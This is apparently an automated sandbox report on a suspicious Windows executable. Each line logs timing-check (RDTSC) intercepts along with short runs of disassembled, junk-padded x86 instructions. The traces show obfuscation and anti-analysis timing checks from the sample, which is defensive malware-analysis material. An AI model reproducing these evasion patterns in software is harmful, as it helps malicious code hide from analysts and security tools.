Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E01E9 second address: 50E01EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E01EF second address: 50E01F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E01F3 second address: 50E024A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FE5B8D9CB63h 0x00000010 xor cx, 1ADEh 0x00000015 jmp 00007FE5B8D9CB69h 0x0000001a popfd 0x0000001b jmp 00007FE5B8D9CB60h 0x00000020 popad 0x00000021 mov ebp, esp 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov cx, dx 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E024A second address: 50E025E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5B8F4A750h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 5120034 second address: 512009F instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FE5B8D9CB68h 0x00000008 adc ecx, 0FFE0068h 0x0000000e jmp 00007FE5B8D9CB5Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 jmp 00007FE5B8D9CB66h 0x0000001d push eax 0x0000001e jmp 00007FE5B8D9CB5Bh 0x00000023 xchg eax, ebp 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FE5B8D9CB65h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 512009F second address: 51200AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5B8F4A74Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 51200AF second address: 51200CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8D9CB5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov cx, di 0x00000013 mov dx, 27D2h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 51200CD second address: 51200D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 51200D3 second address: 51200EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 pushad 0x0000000a pushad 0x0000000b mov eax, 4FB5F8C9h 0x00000010 movzx esi, bx 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 mov cl, dl 0x00000018 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50D05AD second address: 50D05C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5B8F4A757h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50D05C8 second address: 50D0633 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 pushad 0x0000000a jmp 00007FE5B8D9CB60h 0x0000000f call 00007FE5B8D9CB62h 0x00000014 pushfd 0x00000015 jmp 00007FE5B8D9CB62h 0x0000001a adc ecx, 15BB5198h 0x00000020 jmp 00007FE5B8D9CB5Bh 0x00000025 popfd 0x00000026 pop esi 0x00000027 popad 0x00000028 mov dword ptr [esp], ebp 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FE5B8D9CB61h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50D0633 second address: 50D0639 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E0EA0 second address: 50E0EA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E0EA6 second address: 50E0EB7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ecx, edx 0x0000000e mov eax, edi 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E0EB7 second address: 50E0ED3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, di 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE5B8D9CB5Eh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E0ED3 second address: 50E0ED7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E0ED7 second address: 50E0EDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E0EDD second address: 50E0F1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, ah 0x00000005 pushfd 0x00000006 jmp 00007FE5B8F4A759h 0x0000000b sbb ax, 9DE6h 0x00000010 jmp 00007FE5B8F4A751h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov ebp, esp 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E0F1E second address: 50E0F24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E0F24 second address: 50E0F54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8F4A752h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE5B8F4A757h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E0F54 second address: 50E0F5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50F0162 second address: 50F017E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8F4A751h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50F017E second address: 50F0182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50F0182 second address: 50F0188 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 51107FE second address: 5110804 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 5110804 second address: 5110808 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 5110808 second address: 511085E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FE5B8D9CB69h 0x0000000e mov ebp, esp 0x00000010 jmp 00007FE5B8D9CB5Eh 0x00000015 xchg eax, ecx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FE5B8D9CB5Eh 0x0000001d xor cx, 1818h 0x00000022 jmp 00007FE5B8D9CB5Bh 0x00000027 popfd 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 511085E second address: 51108E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 mov edx, eax 0x0000000b mov ah, 34h 0x0000000d popad 0x0000000e xchg eax, ecx 0x0000000f pushad 0x00000010 mov eax, edi 0x00000012 call 00007FE5B8F4A757h 0x00000017 pushfd 0x00000018 jmp 00007FE5B8F4A758h 0x0000001d sbb si, EC08h 0x00000022 jmp 00007FE5B8F4A74Bh 0x00000027 popfd 0x00000028 pop eax 0x00000029 popad 0x0000002a mov eax, dword ptr [76FA65FCh] 0x0000002f pushad 0x00000030 call 00007FE5B8F4A751h 0x00000035 push esi 0x00000036 pop edi 0x00000037 pop esi 0x00000038 popad 0x00000039 test eax, eax 0x0000003b pushad 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007FE5B8F4A74Fh 0x00000043 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 51108E2 second address: 511090C instructions: 0x00000000 rdtsc 0x00000002 mov bx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 pop ecx 0x00000009 popad 0x0000000a je 00007FE62ABAFBD0h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FE5B8D9CB68h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 511090C second address: 5110912 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 5110912 second address: 5110916 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 5110916 second address: 5110936 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE5B8F4A754h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 5110936 second address: 511093C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 511093C second address: 511095E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8F4A74Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor eax, dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE5B8F4A74Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 511095E second address: 511098C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8D9CB5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 1Fh 0x0000000c pushad 0x0000000d call 00007FE5B8D9CB64h 0x00000012 push esi 0x00000013 pop edi 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 511098C second address: 5110990 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 5110990 second address: 51109FF instructions: 0x00000000 rdtsc 0x00000002 mov edi, 164A67DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a ror eax, cl 0x0000000c jmp 00007FE5B8D9CB65h 0x00000011 leave 0x00000012 pushad 0x00000013 mov si, 5A43h 0x00000017 pushfd 0x00000018 jmp 00007FE5B8D9CB68h 0x0000001d add eax, 4C113F08h 0x00000023 jmp 00007FE5B8D9CB5Bh 0x00000028 popfd 0x00000029 popad 0x0000002a retn 0004h 0x0000002d nop 0x0000002e mov esi, eax 0x00000030 lea eax, dword ptr [ebp-08h] 0x00000033 xor esi, dword ptr [007B2014h] 0x00000039 push eax 0x0000003a push eax 0x0000003b push eax 0x0000003c lea eax, dword ptr [ebp-10h] 0x0000003f push eax 0x00000040 call 00007FE5BD73D54Ch 0x00000045 push FFFFFFFEh 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007FE5B8D9CB65h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 51109FF second address: 5110AAA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FE5B8F4A757h 0x00000008 pop ecx 0x00000009 pushfd 0x0000000a jmp 00007FE5B8F4A759h 0x0000000f or cx, FA36h 0x00000014 jmp 00007FE5B8F4A751h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d pop eax 0x0000001e jmp 00007FE5B8F4A74Eh 0x00000023 ret 0x00000024 nop 0x00000025 push eax 0x00000026 call 00007FE5BD8EB1ADh 0x0000002b mov edi, edi 0x0000002d jmp 00007FE5B8F4A750h 0x00000032 xchg eax, ebp 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 mov bx, 40A0h 0x0000003a pushfd 0x0000003b jmp 00007FE5B8F4A759h 0x00000040 or ax, 5FA6h 0x00000045 jmp 00007FE5B8F4A751h 0x0000004a popfd 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 5110AAA second address: 5110AB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 5110AB0 second address: 5110AB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 5110AB4 second address: 5110AB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50C0011 second address: 50C0069 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 pushfd 0x00000006 jmp 00007FE5B8F4A753h 0x0000000b jmp 00007FE5B8F4A753h 0x00000010 popfd 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 xchg eax, ebp 0x00000015 jmp 00007FE5B8F4A756h 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FE5B8F4A74Eh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50C0069 second address: 50C00A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 7C67BCF4h 0x00000008 mov edx, 55BDB460h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ebp 0x00000011 jmp 00007FE5B8D9CB5Fh 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FE5B8D9CB65h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50C00A2 second address: 50C0169 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 mov ecx, edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a and esp, FFFFFFF8h 0x0000000d pushad 0x0000000e jmp 00007FE5B8F4A74Bh 0x00000013 call 00007FE5B8F4A758h 0x00000018 movzx ecx, dx 0x0000001b pop edx 0x0000001c popad 0x0000001d xchg eax, ecx 0x0000001e jmp 00007FE5B8F4A74Ah 0x00000023 push eax 0x00000024 jmp 00007FE5B8F4A74Bh 0x00000029 xchg eax, ecx 0x0000002a pushad 0x0000002b mov si, 6E6Bh 0x0000002f jmp 00007FE5B8F4A750h 0x00000034 popad 0x00000035 xchg eax, ebx 0x00000036 jmp 00007FE5B8F4A750h 0x0000003b push eax 0x0000003c jmp 00007FE5B8F4A74Bh 0x00000041 xchg eax, ebx 0x00000042 jmp 00007FE5B8F4A756h 0x00000047 mov ebx, dword ptr [ebp+10h] 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d pushfd 0x0000004e jmp 00007FE5B8F4A74Dh 0x00000053 add eax, 027876F6h 0x00000059 jmp 00007FE5B8F4A751h 0x0000005e popfd 0x0000005f mov ah, 5Fh 0x00000061 popad 0x00000062 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50C0169 second address: 50C017E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8D9CB5Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50C017E second address: 50C0182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50C0182 second address: 50C0186 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50C0186 second address: 50C018C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50C018C second address: 50C01CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8D9CB64h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b movsx ebx, ax 0x0000000e pushfd 0x0000000f jmp 00007FE5B8D9CB5Ah 0x00000014 xor ecx, 7CDEB9A8h 0x0000001a jmp 00007FE5B8D9CB5Bh 0x0000001f popfd 0x00000020 popad 0x00000021 xchg eax, esi 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 mov cx, di 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50C01CF second address: 50C01D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50C01D5 second address: 50C020E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+08h] 0x0000000b jmp 00007FE5B8D9CB61h 0x00000010 xchg eax, edi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FE5B8D9CB68h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50C020E second address: 50C0214 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50C0214 second address: 50C0264 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE5B8D9CB5Ch 0x00000009 or al, FFFFFFC8h 0x0000000c jmp 00007FE5B8D9CB5Bh 0x00000011 popfd 0x00000012 mov dl, al 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 pushad 0x00000019 mov di, si 0x0000001c push esi 0x0000001d mov dh, 2Fh 0x0000001f pop eax 0x00000020 popad 0x00000021 xchg eax, edi 0x00000022 jmp 00007FE5B8D9CB5Bh 0x00000027 test esi, esi 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FE5B8D9CB60h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50C0264 second address: 50C026A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50C026A second address: 50C0348 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, ecx 0x00000005 call 00007FE5B8D9CB68h 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e je 00007FE62ABFAEE0h 0x00000014 jmp 00007FE5B8D9CB61h 0x00000019 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000020 pushad 0x00000021 pushad 0x00000022 mov esi, 414305A9h 0x00000027 jmp 00007FE5B8D9CB66h 0x0000002c popad 0x0000002d jmp 00007FE5B8D9CB62h 0x00000032 popad 0x00000033 je 00007FE62ABFAEA7h 0x00000039 pushad 0x0000003a pushfd 0x0000003b jmp 00007FE5B8D9CB5Eh 0x00000040 and esi, 7F616FD8h 0x00000046 jmp 00007FE5B8D9CB5Bh 0x0000004b popfd 0x0000004c pushfd 0x0000004d jmp 00007FE5B8D9CB68h 0x00000052 or eax, 11D1BA38h 0x00000058 jmp 00007FE5B8D9CB5Bh 0x0000005d popfd 0x0000005e popad 0x0000005f mov edx, dword ptr [esi+44h] 0x00000062 push eax 0x00000063 push edx 0x00000064 jmp 00007FE5B8D9CB65h 0x00000069 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50C0348 second address: 50C03B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8F4A751h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 or edx, dword ptr [ebp+0Ch] 0x0000000c jmp 00007FE5B8F4A74Eh 0x00000011 test edx, 61000000h 0x00000017 jmp 00007FE5B8F4A750h 0x0000001c jne 00007FE62ADA8A4Ah 0x00000022 jmp 00007FE5B8F4A750h 0x00000027 test byte ptr [esi+48h], 00000001h 0x0000002b pushad 0x0000002c pushad 0x0000002d mov edx, esi 0x0000002f popad 0x00000030 movzx ecx, di 0x00000033 popad 0x00000034 jne 00007FE62ADA8A40h 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007FE5B8F4A74Ah 0x00000041 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50C03B9 second address: 50C0408 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 6364h 0x00000007 pushfd 0x00000008 jmp 00007FE5B8D9CB5Dh 0x0000000d xor si, 9FA6h 0x00000012 jmp 00007FE5B8D9CB61h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b test bl, 00000007h 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 call 00007FE5B8D9CB69h 0x00000026 pop esi 0x00000027 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50C0408 second address: 50C040C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50B06BB second address: 50B06F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, cx 0x00000006 pushfd 0x00000007 jmp 00007FE5B8D9CB5Ch 0x0000000c sub eax, 6AA96378h 0x00000012 jmp 00007FE5B8D9CB5Bh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebp 0x0000001c pushad 0x0000001d push esi 0x0000001e push edi 0x0000001f pop eax 0x00000020 pop edx 0x00000021 mov di, si 0x00000024 popad 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50B06F4 second address: 50B0706 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8F4A74Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50B0706 second address: 50B070C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50B070C second address: 50B0710 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50B0710 second address: 50B07A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov eax, edi 0x0000000c pushad 0x0000000d push edi 0x0000000e pop esi 0x0000000f mov dx, E650h 0x00000013 popad 0x00000014 popad 0x00000015 mov ebp, esp 0x00000017 jmp 00007FE5B8D9CB5Fh 0x0000001c and esp, FFFFFFF8h 0x0000001f pushad 0x00000020 call 00007FE5B8D9CB5Bh 0x00000025 pop edi 0x00000026 popad 0x00000027 xchg eax, ebx 0x00000028 jmp 00007FE5B8D9CB62h 0x0000002d push eax 0x0000002e pushad 0x0000002f movsx ebx, si 0x00000032 movzx esi, di 0x00000035 popad 0x00000036 xchg eax, ebx 0x00000037 pushad 0x00000038 pushfd 0x00000039 jmp 00007FE5B8D9CB5Bh 0x0000003e or ecx, 2D6BE0BEh 0x00000044 jmp 00007FE5B8D9CB69h 0x00000049 popfd 0x0000004a mov di, cx 0x0000004d popad 0x0000004e xchg eax, esi 0x0000004f jmp 00007FE5B8D9CB5Ah 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 mov bh, C2h 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50B07A7 second address: 50B07DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8F4A755h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE5B8F4A758h 0x00000013 rdtsc
